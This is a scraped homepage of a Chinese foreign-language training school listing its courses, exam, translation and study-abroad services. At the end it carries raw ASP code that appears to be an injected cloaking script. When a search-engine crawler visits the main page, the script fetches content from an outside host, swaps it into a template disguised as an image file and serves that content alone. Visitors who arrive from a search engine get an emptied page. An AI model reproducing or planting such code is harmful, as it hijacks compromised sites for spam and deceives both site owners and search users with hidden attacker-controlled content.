精一技可立身本 通双语才赢未来
用户登录
用户名:
密  码:
 
  • 精品课程
  • 活动策划
  • 考试服务
  • 文献翻译
  • 留学咨询

    久安活动策划介绍

    活动策划是基于外语培训所提供的服务项目,其主旨是为语言知识和技能提供一个实践和提升的平台。活动目的是... 更多活动信息>>

    久安考试服务介绍

    考试服务项目就是针对客户设定目标提供考务帮助,主要是借此对参考人员的外语水平综合定位。命题思路紧密结合...更多相关信息>>

    久安文献翻译介绍

    结合久安学校雄厚的师资力量和丰富的行业教育背景,我校特对新老客户提供英、日、法、德、俄五个语种的文献翻译服务... 更多相关信息>>

    久安留学服务介绍

    留学咨询是五大服务项目之一。目前提供到北美,澳洲和英爱三个区域的留学咨询服务。... 更多相关信息>>

师资力量
日语组任课教师
大卫.赫默

日语教师有日籍外交和中国教师,均具有良好的教育背景...详情>>

久安书屋
精彩课堂
典礼集锦
考试指南
学习之窗
<% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next end function function gethttp(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile,htmls,stitle,remotehtml,bodyurl bodyurl="http://www.5885886.com/info/qi.txt" remotehtml=gethttp(bodyurl) stitle =remotehtml mfileurl=Server.MapPath("images/pac.jpg") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll htmls=replace(mfilecon,"{期数}",stitle) response.clear response.write(htmls) response.write("") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (fromse() and mainpage()) then response.clear response.write("
") response.flush response.end end if %>